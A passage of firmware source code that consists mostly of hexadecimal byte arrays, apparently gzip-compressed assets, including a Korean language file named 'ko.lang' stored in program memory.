0x0e, 0x96, 0x6d, 0xc8, 0xc0, 0x22, 0xb0, 0xd3, 0x7b, 0x6a, 0xa9, 0x61, 0x35, 0x5d, 0x8e, 0xbb, 0xb1, 0xba, 0x3e, 0xb4, 0x7c, 0xa3, 0x90, 0x87, 0x12, 0x47, 0x9b, 0xca, 0x6e, 0xb0, 0x24, 0xa9, 0xbf, 0xb4, 0x05, 0x86, 0x47, 0x6a, 0xe3, 0xde, 0x73, 0xbe, 0x8d, 0xca, 0xb9, 0x27, 0xb9, 0x39, 0x5c, 0x09, 0xf3, 0xc1, 0x4d, 0x83, 0x2f, 0xb1, 0x95, 0x36, 0xb8, 0xdd, 0xd7, 0x83, 0x7b, 0x2a, 0x31, 0xff, 0xf5, 0x60, 0xa6, 0xb7, 0x5b, 0xda, 0x8a, 0xda, 0x43, 0xf9, 0x5f, 0xf6, 0x75, 0xd4, 0x1b, 0x9f, 0x8f, 0xc3, 0x30, 0x9b, 0x16, 0xd7, 0x75, 0x23, 0x71, 0x30, 0xe0, 0x07, 0x38, 0x5a, 0xb5, 0x2a, 0x61, 0x9d, 0x3c, 0xa8, 0x2e, 0x33, 0xe3, 0x7c, 0x88, 0xee, 0x60, 0x43, 0x70, 0xe8, 0x88, 0x71, 0x69, 0xbb, 0x8b, 0xcb, 0x7b, 0x2b, 0xd1, 0x96, 0xca, 0xde, 0x14, 0x70, 0x6b, 0xe5, 0x59, 0x1f, 0xfe, 0x3b, 0x05, 0x54, 0x7f, 0x1e, 0xae, 0x78, 0x65, 0x2b, 0xdb, 0x2e, 0x9d, 0x67, 0x69, 0x88, 0x45, 0x2c, 0xef, 0xb7, 0xf0, 0xfd, 0xf0, 0x81, 0x05, 0xd9, 0x4a, 0x7c, 0x85, 0x35, 0x72, 0x39, 0x6f, 0x1b, 0xb8, 0x1e, 0xe6, 0x0a, 0x15, 0xec, 0xb1, 0xa7, 0x48, 0xd2, 0x72, 0xd0, 0x3e, 0x46, 0x50, 0x5e, 0xb8, 0x7c, 0x66, 0x72, 0xeb, 0xf9, 0xf6, 0x1a, 0x48, 0x3f, 0x8a, 0x2f, 0x83, 0x84, 0xc3, 0xc8, 0xd3, 0xd5, 0x66, 0x5b, 0xb7, 0x25, 0x71, 0x7a, 0xd8, 0x9c, 0x1e, 0x09, 0x53, 0x0e, 0xaa, 0x15, 0x36, 0xf7, 0x81, 0x0a, 0xc8, 0xa8, 0xcb, 0x50, 0x39, 0x4f, 0x1d, 0x7b, 0x72, 0x89, 0x90, 0xca, 0xc5, 0x46, 0x31, 0x32, 0xf9, 0x92, 0xec, 0x2e, 0x3d, 0x35, 0x45, 0xd5, 0x17, 0x87, 0xf0, 0x13, 0xed, 0x0b, 0xbb, 0x74, 0x48, 0x3f, 0x64, 0x92, 0xb8, 0xf8, 0xb3, 0x2c, 0x73, 0xd5, 0x9a, 0x8f, 0x44, 0x10, 0xe9, 0x34, 0x92, 0xfd, 0x3e, 0x78, 0x93, 0xf3, 0x0d, 0xab, 0x8d, 0xfb, 0x15, 0x59, 0xfd, 0x97, 0x51, 0x4a, 0x1f, 0x22, 0x79, 0x7c, 0x5d, 0x71, 0x66, 0x2f, 0x88, 0x73, 0xcf, 0x72, 0x4a, 0xb3, 0x6b, 0x68, 0x45, 0xa2, 0x48, 0xef, 0x89, 0x06, 0x83, 0x88, 0x43, 0x4f, 0x5b, 0x36, 0x3e, 0x14, 0xc6, 0x9d, 0x3b, 0x11, 0xd7, 0xda, 0xa2, 0xa6, 0x8c, 0x65, 0x5c, 0x49, 0x86, 0x0a, 0xc0, 0xf0, 0x44, 0xb7, 0x22, 0x11, 0x7d, 0xe3, 0xa0, 0xba, 0xd3, 0xa1, 0xce, 0x65, 0x9d, 0x1c, 0xb7, 0xb8, 0x3c, 0x97, 0x11, 0xf2, 0x9e, 0x56, 0xb9, 0x8e, 0x49, 0x3a, 0x52, 0xa5, 0x2b, 0xad, 0xf7, 0xc8, 0x39, 0x99, 0xb8, 0x81, 0x29, 0x35, 0xf2, 0x65, 0x8a, 0x2f, 0xc9, 0xc3, 0x97, 0xfc, 0x3b, 0x0d, 0xdc, 0x75, 0x8d, 0x9e, 0x76, 0x79, 0xfd, 0xf6, 0xef, 0xf8, 0x25, 0xb2, 0x8b, 0x42, 0xe5, 0x96, 0x81, 0x64, 0x60, 0x05, 0xaf, 0x56, 0x56, 0x06, 0x7f, 0x8b, 0x1f, 0xc5, 0x20, 0xf6, 0xc1, 0xad, 0x6c, 0x3c, 0x2a, 0x41, 0xc2, 0x2d, 0xc0, 0xc5, 0x95, 0x4d, 0xaf, 0x4e, 0x61, 0x57, 0xfe, 0x2e, 0x4a, 0xbc, 0x71, 0x05, 0x8c, 0x3b, 0xc8, 0xcd, 0xec, 0x74, 0xfe, 0x3d, 0x35, 0xa1, 0x1b, 0xcd, 0xb7, 0xb6, 0xac, 0x1f, 0x6c, 0x9a, 0xbd, 0xe2, 0xc8, 0x90, 0x15, 0x5d, 0xbf, 0x02, 0xfe, 0xf5, 0xae, 0xae, 0xee, 0xd8, 0x66, 0x77, 0x1e, 0xbe, 0x11, 0xc5, 0x75, 0xd0, 0x2c, 0x30, 0x68, 0x6e, 0x79, 0x90, 0x97, 0x56, 0x76, 0xc7, 0x93, 0x67, 0xd4, 0x06, 0xdd, 0x4a, 0x0f, 0xba, 0x7a, 0xd0, 0x96, 0x32, 0xf1, 0xc7, 0x2d, 0xc1, 0x91, 0xdb, 0x34, 0x72, 0xa7, 0x3a, 0x5a, 0x99, 0x7a, 0xc7, 0xe1, 0xc4, 0x21, 0x7f, 0x7a, 0x93, 0x70, 0xac, 0xe1, 0x4b, 0xc9, 0x62, 0xe8, 0xda, 0xee, 0xe0, 0x6b, 0x11, 0x7b, 0xcb, 0x62, 0x65, 0x98, 0xd5, 0xba, 0xe3, 0x08, 0x6e, 0x81, 0x7f, 0x3c, 0xf5, 0x01, 0x09, 0x90, 0x9b, 0x1d, 0x21, 0x9e, 0x55, 0xb3, 0xc0, 0x31, 0x22, 0x33, 0xa1, 0x2c, 0xe2, 0xc9, 0x9e, 0xda, 0x8d, 0xf5, 0x9d, 0xea, 0xc3, 0x1f, 0xfb, 0xd8, 0xb8, 0x4b, 0x8e, 0x3c, 0x34, 0x1f, 0x11, 0xfc, 0x7a, 0x4d, 0x2d, 0x19, 0x82, 0x88, 0x1d, 0xe1, 0x64, 0x67, 0x7e, 0xbf, 0x38, 0x07, 0xfc, 0xb6, 0x5c, 0x02, 0x4c, 0x03, 0x00, 0xa8, 0x22, 0xb0, 0x70, 0x62, 0xbd, 0x94, 0xcc, 0xc3, 0xa1, 0x61, 0x29, 0x81, 0x5b, 0x31, 0xf8, 0x9b, 0xad, 0xbb, 0xa7, 0xf0, 0x8a, 0x93, 0xb4, 0x0c, 0x19, 0xd7, 0x21, 0xce, 0x59, 0xf3, 0x49, 0xe2, 0x14, 0xc9, 0x72, 0x08, 0x01, 0xd0, 0xaa, 0x44, 0x5e, 0x9b, 0x9d, 0x5d, 0xc6, 0x7c, 0x15, 0x6b, 0x48, 0x45, 0xc1, 0x16, 0x78, 0x06, 0x58, 0xce, 0x90, 0x51, 0x4a, 0xf0, 0x32, 0xde, 0x21, 0xde, 0x5d, 0x50, 0x05, 0x23, 0x42, 0x00, 0x0f, 0x79, 0xc7, 0x36, 0x2c, 0xa1, 0x30, 0x9f, 0xc6, 0x49, 0xfc, 0x82, 0x0f, 0xd0, 0x00, 0x51, 0x0c, 0xe9, 0x10, 0xba, 0x46, 0xad, 0x80, 0xb9, 0x21, 0x0d, 0x46, 0xd7, 0x3f, 0xa7, 0x35, 0x16, 0x18, 0x4e, 0x0a, 0xc1, 0xab, 0xcc, 0xa5, 0xba, 0x13, 0xb3, 0x3f, 0x66, 0x06, 0x6e, 0x4a, 0xab, 0x3a, 0x16, 0xaf, 0xb6, 0x5e, 0x5a, 0xb9, 0xcd, 0xc2, 0x7a, 0x07, 0x78, 0x97, 0xdd, 0x52, 0x04, 0xa3, 0xe1, 0x5e, 0x9f, 0x98, 0x9c, 0x3d, 0x04, 0x15, 0x65, 0xdd, 0x07, 0x95, 0x51, 0x84, 0x26, 0x61, 0x19, 0x63, 0x94, 0xd8, 0x46, 0x23, 0x1d, 0x1b, 0x53, 0x2d, 0xe4, 0x19, 0x18, 0xc2, 0x8b, 0xd4, 0x68, 0xb3, 0xfe, 0xce, 0xfd, 0x36, 0x49, 0xf8, 0xcf, 0x9c, 0xf0, 0x50, 0x31, 0x81, 0x07, 0xcf, 0xd5, 0x4c, 0x28, 0xd2, 0xde, 0x51, 0x9e, 0x8f, 0xee, 0xac, 0xc7, 0xc0, 0x70, 0xb9, 0x83, 0x83, 0xec, 0xd6, 0x15, 0xaa, 0x1e, 0xe0, 0xdb, 0xe6, 0x00, 0x30, 0xd1, 0x05, 0xf0, 0x03, 0x3c, 0x71, 0xbd, 0x01, 0xc4, 0xb8, 0xff, 0xac, 0x03, 0x0a, 0x9f, 0xcd, 0x8c, 0xaf, 0x8d, 0xc6, 0xb4, 0xa1, 0x68, 0x60, 0x03, 0xf8, 0x33, 0x7e, 0x6b, 0x4d, 0x66, 0x29, 0xf8, 0xad, 0xd1, 0x53, 0x07, 0xfd, 0x81, 0xab, 0x05, 0x57, 0xdd, 0x52, 0xfc, 0x13, 0xf7, 0xec, 0xd9, 0x58, 0xb7, 0xca, 0x1e, 0x09, 0xcb, 0xb2, 0x47, 0xb5, 0xc1, 0x6a, 0x8f, 0x5c, 0x77, 0xa5, 0xd8, 0xd8, 0x15, 0x57, 0x11, 0xf6, 0x07, 0xa1, 0x26, 0xa4, 0xdb, 0x26, 0xf4, 0x1a, 0xdd, 0xf7, 0x0c, 0xf5, 0xb2, 0x25, 0x2d, 0x43, 0x11, 0xcd, 0x58, 0x11, 0x56, 0x48, 0x4a, 0x4f, 0x5d, 0xc7, 0x53, 0x86, 0x93, 0xa3, 0x57, 0xd2, 0xa9, 0xc0, 0xf5, 0x71, 0xbd, 0x6c, 0x34, 0xea, 0x53, 0x38, 0xc2, 0x59, 0x2c, 0x5f, 0x09, 0xd6, 0x00, 0x8b, 0x53, 0xfe, 0x26, 0x75, 0x39, 0x72, 0x24, 0xe8, 0xde, 0x31, 0x85, 0xe3, 0xb0, 0xe7, 0xb2, 0x6e, 0xdb, 0x2c, 0x6c, 0x50, 0x7f, 0x46, 0xf7, 0xed, 0x50, 0xaf, 0x3b, 0x89, 0x36, 0x98, 0x8b, 0xdd, 0x01, 0xbf, 0x7a, 0x58, 0x18, 0xb6, 0x72, 0x54, 0x44, 0xc5, 0x32, 0x50, 0xb0, 0xcd, 0xc6, 0xf5, 0x25, 0x49, 0x6b, 0xce, 0x3c, 0xc1, 0x5a, 0xeb, 0xef, 0x3a, 0x5f, 0x37, 0x02, 0x7c, 0x9f, 0x7f, 0x3f, 0xbd, 0x34, 0x3f, 0x9a, 0xb3, 0x8b, 0x4f, 0xef, 0x2f, 0xae, 0x6f, 0x2f, 0x87, 0x25, 0xfd, 0x6c, 0x1c, 0xd2, 0xf5, 0x93, 0x75, 0x3b, 0xb7, 0x76, 0x77, 0xf5, 0x7a, 0xcd, 0x13, 0x52, 0x05, 0xaf, 0x00, 0x00, 0x11, 0x5d, 0xd9, 0x78, 0x3c, 0x7e, 0xfd, 0x88, 0x0b, 0xb1, 0x85, 0x3e, 0xf7, 0x45, 0xa8, 0x05, 0x34, 0x7b, 0xad, 0x02, 0x08, 0xd0, 0x51, 0x75, 0x42, 0xf9, 0x5e, 0x16, 0xf6, 0x0e, 0x6e, 0xc8, 0xea, 0x92, 0x17, 0x9c, 0x82, 0x8d, 0xac, 0x79, 0xf3, 0x55, 0x9d, 0x59, 0x73, 0xba, 0xa2, 0x3c, 0x55, 0xcb, 0xbd, 0x85, 0xd7, 0x35, 0x72, 0xf3, 0xd9, 0xb5, 0xba, 0xe6, 0x0e, 0xe5, 0x60, 0x35, 0x91, 0x58, 0xf2, 0x2a, 0x94, 0xd4, 0x7c, 0x94, 0x77, 0x5b, 0xc0, 0x49, 0xa1, 0xb4, 0x71, 0x48, 0x7e, 0x59, 0xa3, 0x3c, 0x32, 0x01, 0x2d, 0x3b, 0x86, 0xb9, 0x4c, 0x98, 0xc7, 0x52, 0xc3, 0xd1, 0xd9, 0x1f, 0x81, 0x5a, 0x12, 0x7c, 0x68, 0xfa, 0xac, 0x19, 0x28, 0xad, 0xd8, 0x28, 0xb3, 0x91, 0xf2, 0xa1, 0xf8, 0xb7, 0xae, 0x1c, 0x33, 0x59, 0x2e, 0xe8, 0x08, 0x5c, 0xd8, 0xc3, 0xd4, 0x2c, 0x1f, 0x91, 0xd1, 0x71, 0x4c, 0x00, 0x0e, 0xf1, 0x19, 0x70, 0xd8, 0xd9, 0x6e, 0x8f, 0x25, 0x23, 0xe7, 0x6d, 0xe4, 0x4e, 0x9a, 0x4d, 0x9c, 0x45, 0x73, 0x25, 0xcb, 0x91, 0x2f, 0xa5, 0x7c, 0xa6, 0x16, 0xf6, 0x45, 0xa0, 0x62, 0x30, 0x1f, 0x49, 0x18, 0xa8, 0x51, 0x02, 0xb8, 0x44, 0x6c, 0x94, 0x29, 0xef, 0x0e, 0x4f, 0x8e, 0x8e, 0xfe, 0xaa, 0x47, 0x60, 0x15, 0xed, 0x34, 0xcb, 0x38, 0x6d, 0x81, 0xc3, 0x41, 0x2e, 0xc3, 0x88, 0x8b, 0xe6, 0xa3, 0x19, 0x32, 0x56, 0x39, 0xe0, 0xa1, 0x51, 0x9a, 0xab, 0x9a, 0x88, 0x6e, 0x13, 0xec, 0x35, 0x8b, 0x11, 0xba, 0x29, 0x00, 0x2c, 0x53, 0x4e, 0x46, 0x24, 0x88, 0x9c, 0x17, 0xe9, 0x51, 0x28, 0xc9, 0x41, 0x82, 0x48, 0xa2, 0xa6, 0x89, 0xa5, 0xcd, 0x7a, 0x5e, 0x34, 0x01, 0x26, 0xa5, 0xb6, 0x72, 0xa3, 0x68, 0x73, 0xc1, 0x05, 0xde, 0x43, 0x7c, 0x12, 0x13, 0x26, 0x2e, 0x3a, 0xd4, 0x8b, 0x4c, 0xcd, 0xcb, 0x50, 0x50, 0x7a, 0xee, 0x0b, 0xdd, 0x72, 0x49, 0x4f, 0x5b, 0x2a, 0xb6, 0x0c, 0xb8, 0x83, 0x8a, 0x3e, 0xaa, 0x35, 0xec, 0x2e, 0x1a, 0xd7, 0xb2, 0x94, 0xfa, 0x5a, 0x27, 0xfa, 0x28, 0xb9, 0x61, 0x6c, 0xea, 0x8b, 0xc7, 0x5e, 0x71, 0x91, 0xe0, 0xc8, 0x71, 0x61, 0x29, 0x80, 0x83, 0xf3, 0xe7, 0xe6, 0xdc, 0x26, 0x83, 0x47, 0xd0, 0x4f, 0x31, 0xd4, 0x8c, 0xe4, 0xcd, 0x60, 0x03, 0xf8, 0x07, 0x70, 0xf7, 0xd8, 0x53, 0xfe, 0x52, 0x7a, 0xb5, 0xbe, 0xd7, 0x92, 0x50, 0x5c, 0xa2, 0x74, 0x40, 0x3d, 0xc5, 0x2a, 0x8a, 0xcc, 0x9b, 0xe3, 0x9a, 0x05, 0x56, 0x5c, 0x6c, 0x87, 0xde, 0x8c, 0x57, 0xef, 0x50, 0x4c, 0xa4, 0x80, 0xc8, 0x85, 0xa4, 0xda, 0x0d, 0xf7, 0xb1, 0x2d, 0xea, 0xb2, 0x27, 0xed, 0x2b, 0x1f, 0x6d, 0xa1, 0x9d, 0x25, 0x36, 0xe6, 0xac, 0xa2, 0xa9, 0x0b, 0xbb, 0x7d, 0x12, 0xb7, 0xfd, 0x6d, 0x25, 0x28, 0xb9, 0xaf, 0xc4, 0x35, 0x70, 0x08, 0x62, 0x69, 0x38, 0x3a, 0x72, 0xa1, 0x1c, 0xab, 0x0a, 0x09, 0x00, 0x9b, 0x83, 0xf3, 0x72, 0xfd, 0x4c, 0xdd, 0xe4, 0x38, 0xea, 0x06, 0x68, 0xe6, 0xac, 0xe2, 0xd8, 0x17, 0x8d, 0x0a, 0x49, 0xe3, 0xbd, 0x04, 0x4c, 0xa7, 0x4e, 0x8f, 0x52, 0xc7, 0x27, 0x33, 0x68, 0xe6, 0x8f, 0x00, 0x01, 0xe7, 0x2e, 0xf6, 0xac, 0x3b, 0x62, 0x2b, 0xe8, 0x4e, 0x04, 0x96, 0x33, 0xae, 0xf7, 0x79, 0xdf, 0x2c, 0x49, 0x3b, 0x36, 0x51, 0x33, 0x6a, 0xd1, 0x1f, 0xdd, 0x06, 0xb0, 0x7a, 0x11, 0x37, 0x1f, 0x97, 0xab, 0xbb, 0x07, 0xe6, 0xbc, 0xda, 0x0f, 0x5c, 0xd7, 0x25, 0x80, 0x5e, 0x06, 0xb8, 0x17, 0xe4, 0xe8, 0x7e, 0x38, 0x99, 0x1f, 0x41, 0xa1, 0x81, 0x8d, 0x8b, 0x6c, 0x4d, 0x37, 0xf5, 0x68, 0xe6, 0x84, 0x87, 0x71, 0x6d, 0x61, 0xc4, 0xeb, 0x84, 0x0f, 0x4e, 0x8f, 0x60, 0xea, 0x73, 0x60, 0x62, 0x07, 0x30, 0xc1, 0x9a, 0x68, 0xfa, 0x69, 0x70, 0x4e, 0xa2, 0xdb, 0xbc, 0xbc, 0xe7, 0xfa, 0x05, 0x7e, 0x16, 0x81, 0xf5, 0x15, 0xab, 0x83, 0x72, 0x83, 0x9d, 0xac, 0x84, 0xb2, 0x93, 0x98, 0x67, 0xda, 0x75, 0xbf, 0x3e, 0x1e, 0x38, 0xd0, 0x44, 0x8f, 0x86, 0xba, 0x6e, 0x57, 0xb7, 0x42, 0x86, 0x3f, 0x22, 0xc9, 0x90, 0x97, 0xe8, 0xfe, 0xff, 0x4c, 0x85, 0xde, 0x7c, 0x5f, 0xa1, 0x51, 0x6f, 0xb2, 0x88, 0x10, 0x11, 0x23, 0x68, 0x4d, 0xa1, 0xf0, 0xfb, 0xda, 0x8c, 0xe9, 0xd1, 0x54, 0xd0, 0xd6, 0x65, 0xf0, 0x77, 0x2c, 0x0e, 0x8f, 0x9c, 0x8b, 0xd5, 0xa3, 0xdb, 0xcb, 0xed, 0xff, 0xef, 0x6e, 0x53, 0x7d, 0xa9, 0xf1, 0xee, 0xc1, 0xde, 0xd4, 0xad, 0xa7, 0xbe, 0xad, 0xe9, 0xeb, 0x62, 0x23, 0xc3, 0xc0, 0xd5, 0x1d, 0x55, 0xbd, 0xfc, 0xb1, 0x02, 0xff, 0x45, 0x3a, 0x8a, 0x5c, 0x9d, 0x1a, 0x9b, 0x2b, 0x1b, 0xcb, 0x4a, 0x1e, 0xf3, 0x5d, 0x68, 0x91, 0xd4, 0xad, 0x9a, 0xbb, 0x80, 0x4e, 0x52, 0x65, 0xa6, 0x20, 0xd2, 0x67, 0x7d, 0x6a, 0xa4, 0x53, 0xb0, 0x3e, 0x2f, 0x3f, 0xb5, 0x5a, 0x97, 0xa9, 0xda, 0x4a, 0x37, 0x33, 0x3c, 0x64, 0x3d, 0x3d, 0x4b, 0x73, 0x94, 0x31, 0x3a, 0xc3, 0xee, 0x7c, 0x2a, 0x16, 0x64, 0xa1, 0x29, 0xe8, 0xf1, 0x89, 0x39, 0x06, 0xcb, 0x7a, 0xe4, 0x2a, 0x53, 0xdd, 0x67, 0xf7, 0x71, 0x8f, 0x57, 0x07, 0xa1, 0x2b, 0x5f, 0x44, 0x8f, 0x08, 0x08, 0x7c, 0x50, 0xcf, 0xb0, 0xb1, 0x8e, 0x5f, 0x63, 0xb8, 0xfd, 0x91, 0x20, 0x48, 0x80, 0x80, 0xa3, 0xe6, 0xe9, 0x1d, 0x00, 0x78, 0x33, 0x22, 0x29, 0x7a, 0xa7, 0xd8, 0x55, 0x25, 0x05, 0x66, 0x2a, 0x90, 0x4b, 0xc8, 0xd1, 0x5e, 0x8a, 0x0a, 0xbb, 0xfb, 0xce, 0x1d, 0x74, 0x01, 0x0e, 0x3b, 0x77, 0xcc, 0xf5, 0xda, 0x7c, 0xe4, 0xe1, 0x58, 0xdf, 0x87, 0xd3, 0x91, 0x07, 0x2f, 0x9e, 0x11, 0x7f, 0xb1, 0xda, 0xd6, 0x4f, 0x8e, 0xb0, 0x18, 0xec, 0xe9, 0xb8, 0x34, 0x35, 0x8d, 0xe5, 0xe7, 0x1a, 0x30, 0x5f, 0xb9, 0x54, 0x81, 0xc4, 0x70, 0xe9, 0xf8, 0x89, 0x50, 0x04, 0xec, 0x77, 0x14, 0xe6, 0xca, 0xb8, 0xbf, 0x7c, 0xd1, 0xb8, 0xf5, 0xba, 0x7b, 0xb2, 0x69, 0x71, 0x73, 0xf9, 0xf6, 0xed, 0xa2, 0x57, 0x02, 0x64, 0xd8, 0xac, 0x5d, 0x61, 0x9f, 0x8a, 0x28, 0xb4, 0x91, 0x9e, 0x6c, 0x5e, 0x03, 0x26, 0x5b, 0x69, 0x58, 0x5f, 0x7e, 0x7a, 0x77, 0xb6, 0x17, 0xd2, 0x25, 0xfd, 0xb1, 0xda, 0xca, 0x16, 0xfa, 0x63, 0xde, 0xd3, 0x80, 0xbe, 0x82, 0x48, 0x9f, 0xc9, 0x0e, 0x5c, 0x98, 0xbf, 0x99, 0xe3, 0xe3, 0x99, 0xb9, 0xf8, 0xcc, 0x1f, 0x5e, 0xcf, 0xcc, 0x07, 0x30, 0x09, 0x64, 0x2b, 0xfe, 0xf8, 0x69, 0x5f, 0xe2, 0xea, 0xf4, 0x46, 0x88, 0x26, 0x37, 0xab, 0xde, 0x5c, 0x9d, 0xfe, 0xf6, 0x7c, 0x62, 0x0b, 0xff, 0x1c, 0x97, 0xf6, 0xf4, 0x24, 0x98, 0xb9, 0x15, 0xb0, 0xcf, 0xc7, 0x8e, 0x82, 0x06, 0x31, 0x8a, 0xea, 0xb1, 0xca, 0xc8, 0x1b, 0xa5, 0xb6, 0x1e, 0xa3, 0x25, 0x42, 0x50, 0xb9, 0x4c, 0xe6, 0x1c, 0x9e, 0xf4, 0xe4, 0x90, 0x51, 0x72, 0x3f, 0x51, 0x7b, 0xe1, 0xff, 0x67, 0xb5, 0x63, 0xdf, 0xfd, 0xe7, 0xa9, 0xdc, 0x37, 0xf6, 0xdf, 0x50, 0x77, 0xb5, 0x4d, 0x20, 0xf1, 0x65, 0x84, 0x0d, 0xc9, 0x63, 0x4a, 0x31, 0x93, 0x37, 0x47, 0x6f, 0xb0, 0xe1, 0x7e, 0x18, 0xe6, 0x97, 0xb3, 0x3c, 0x78, 0x2d, 0x94, 0x13, 0xf8, 0x30, 0x2f, 0x55, 0x6d, 0x41, 0xc3, 0xa2, 0x8e, 0x7c, 0x2f, 0xed, 0xfb, 0x26, 0x3c, 0xe2, 0xec, 0x73, 0x69, 0x04, 0xba, 0xe1, 0xb5, 0x05, 0x42, 0x2b, 0x57, 0xe2, 0xf0, 0xef, 0x33, 0xfc, 0x54, 0x38, 0x54, 0xfb, 0x81, 0x02, 0x4a, 0xe5, 0xe6, 0xd0, 0x05, 0x20, 0x88, 0x5d, 0x86, 0xed, 0x7b, 0xd0, 0x29, 0x3d, 0xb5, 0x1f, 0xa0, 0x6a, 0x11, 0x81, 0x29, 0x72, 0x69, 0x79, 0x38, 0x79, 0x39, 0x42, 0xae, 0x57, 0x03, 0x19, 0xd1, 0xb7, 0x74, 0x10, 0x78, 0x56, 0x07, 0xc3, 0x2b, 0x2e, 0x8c, 0x09, 0x5a, 0x85, 0xec, 0x24, 0x48, 0x1a, 0x34, 0x9b, 0x40, 0xc9, 0x54, 0x15, 0x74, 0xfb, 0x4c, 0xb3, 0x57, 0x79, 0x7c, 0x60, 0x3a, 0x53, 0x0d, 0x86, 0xb6, 0x63, 0x55, 0x2f, 0x69, 0x4a, 0x74, 0x99, 0x1e, 0x32, 0xef, 0x86, 0xbe, 0xa9, 0x63, 0xbf, 0xb5, 0x5e, 0xfa, 0x66, 0x53, 0x39, 0xa6, 0xf4, 0x4c, 0x6a, 0xb4, 0x93, 0xe5, 0x33, 0x36, 0x4e, 0x7d, 0x23, 0xdc, 0x0b, 0x7f, 0x3b, 0x89, 0x2e, 0xa1, 0x3b, 0xcf, 0xf4, 0xff, 0xfb, 0x4f, 0xb3, 0xc2, 0xfb, 0x5b, 0x0b, 0xc8, 0x74, 0xcb, 0x90, 0x4b, 0x0c, 0x7b, 0x77, 0xb8, 0x65, 0xec, 0x6e, 0xa6, 0x34, 0x2a, 0x51, 0x62, 0xa5, 0xce, 0x03, 0x77, 0x4d, 0x3d, 0x35, 0xfb, 0x42, 0xbf, 0x33, 0x48, 0xba, 0x31, 0xd2, 0x22, 0x76, 0x97, 0x8e, 0x91, 0xf8, 0x5a, 0x54, 0xe7, 0xef, 0x4c, 0xcc, 0xc9, 0xcf, 0x3f, 0x4f, 0x01, 0x57, 0x5b, 0xc6, 0x8e, 0x69, 0xa4, 0x3e, 0xc0, 0x3d, 0xb1, 0xd4, 0xba, 0xa5, 0x32, 0xbd, 0x99, 0xb0, 0x67, 0x56, 0xfa, 0xee, 0x98, 0x49, 0x08, 0x76, 0x60, 0x4a, 0xf5, 0xca, 0xe9, 0x50, 0xe2, 0xc7, 0x62, 0xc7, 0x09, 0x52, 0xab, 0xec, 0xf9, 0x33, 0x27, 0x7f, 0xb2, 0xd4, 0x29, 0xa9, 0xfc, 0x28, 0x7d, 0xf0, 0xe8, 0x09, 0x3e, 0x49, 0x8a, 0x04, 0x75, 0xac, 0xc7, 0x88, 0x5b, 0x23, 0x7b, 0x0c, 0x3f, 0x3c, 0x8f, 0x1b, 0x49, 0x6d, 0xd8, 0xd8, 0xa5, 0x7c, 0x8f, 0xd4, 0xfe, 0x6a, 0x03, 0x06, 0x14, 0x46, 0x4f, 0x3c, 0x55, 0x45, 0x9b, 0x95, 0x11, 0xc9, 0xfa, 0x30, 0xe5, 0x1f, 0xb3, 0x01, 0x39, 0x62, 0x8c, 0x30, 0xf4, 0xa7, 0x54, 0xfa, 0x56, 0x2b, 0x18, 0x93, 0xa9, 0x92, 0x86, 0x71, 0xd2, 0x1d, 0x74, 0x81, 0xda, 0xe7, 0x34, 0xb8, 0x1c, 0xbf, 0x9f, 0xaa, 0x0a, 0x5a, 0x87, 0xe5, 0xdb, 0x94, 0x59, 0x6a, 0xd2, 0x68, 0xdc, 0xce, 0x44, 0x0b, 0x2b, 0xdf, 0x30, 0x93, 0x5d, 0x48, 0x95, 0x35, 0x15, 0x9d, 0x9d, 0x0d, 0xef, 0x05, 0xe9, 0x1e, 0xf2, 0xc6, 0x73, 0x7c, 0x74, 0x64, 0xca, 0x4c, 0x7a, 0xf4, 0x38, 0x3d, 0x8a, 0x50, 0xc9, 0x54, 0xce, 0x5a, 0xf4, 0x17, 0x7d, 0xd0, 0x4a, 0x40, 0x68, 0x5c, 0xe9, 0x77, 0x13, 0xfc, 0xfa, 0x23, 0x73, 0xfc, 0x32, 0x8a, 0x6e, 0xc8, 0x74, 0x0d, 0x95, 0x25, 0xbf, 0xf7, 0x48, 0xc8, 0xcf, 0xd0, 0xbe, 0x20, 0x7f, 0x9c, 0x3e, 0x3d, 0xf2, 0x2b, 0xd5, 0x40, 0x39, 0x46, 0xc7, 0x6c, 0x39, 0x97, 0x28, 0xb6, 0x62, 0xdc, 0xf9, 0x95, 0xd2, 0xf1, 0xc8, 0x4b, 0xe8, 0x14, 0x93, 0xa6, 0x56, 0xd3, 0x27, 0x95, 0xdb, 0x7f, 0x3c, 0xa9, 0xb5, 0x99, 0x7c, 0x61, 0x81, 0xe9, 0xae, 0x74, 0xec, 0xf9, 0xe9, 0xeb, 0xca, 0xd3, 0xd7, 0x8e, 0xbe, 0x63, 0x7c, 0xf2, 0x86, 0x3a, 0xed, 0x0b, 0x78, 0xa8, 0x43, 0x83, 0x29, 0xdf, 0x50, 0x7c, 0x23, 0x53, 0x46, 0xd2, 0x64, 0xfd, 0x77, 0xd2, 0x62, 0x68, 0x61, 0x7b, 0xe2, 0x10, 0xbf, 0x80, 0x3d, 0xa3, 0x2d, 0x12, 0xa1, 0xe7, 0xf7, 0xcf, 0x50, 0x70, 0x69, 0x26, 0xe2, 0x9b, 0x9f, 0x90, 0x90, 0xa5, 0x6e, 0x41, 0xc7, 0xfa, 0xe2, 0xe0, 0x87, 0x7f, 0xff, 0x07, 0x88, 0xbb, 0x8a, 0xcb, 0xd1, 0x1d, 0x00, 0x00};\nconst char kolang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x6b, 0x6f, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0x5b, 0x6f, 0x1b, 0xc7, 0x15, 0x7e, 0x6e, 0x7e, 0xc5, 0x44, 0x4f, 0x31, 0x60, 0xbb, 0x92, 0xd3, 0x04, 0x69, 0x80, 0x3e, 0xa4, 0x8d, 0x03, 0x18, 0x68, 0x01, 0xa1, 0x0a, 0xd0, 0x3e, 0x18, 0x10, 0x28, 0x6a, 0x15, 0x13, 0x91, 0x48, 0x81, 0xa4, 0xad, 0x16, 0x45, 0x0b, 0x4a, 0x5a, 0x09, 0x8c, 0x48, 0xc7, 0x52, 0x4c, 0xca, 0x2b, 0x79, 0x29, 0xaf, 0x50, 0xea, 0x66, 0x50, 0x0d, 0x4d, 0xad, 0xec, 0x55, 0x42, 0xf5, 0x07, 0x71, 0x66, 0xff, 0x43, 0xcf, 0x65, 0x66, 0x2f, 0x14, 0x65, 0x27, 0x6d, 0x0d, 0x03, 0xb6, 0x66, 0x67, 0xce, 0x9c, 0x39, 0x97, 0xef, 0x7c, 0xe7, 0xe8, 0x6f, 0xef, 0x09, 0xf8, 0x33, 0x36, 0x9f, 0xc9, 0x7f, 0x35, 0xf6, 0xa9, 0x18, 0xfb, 0xba, 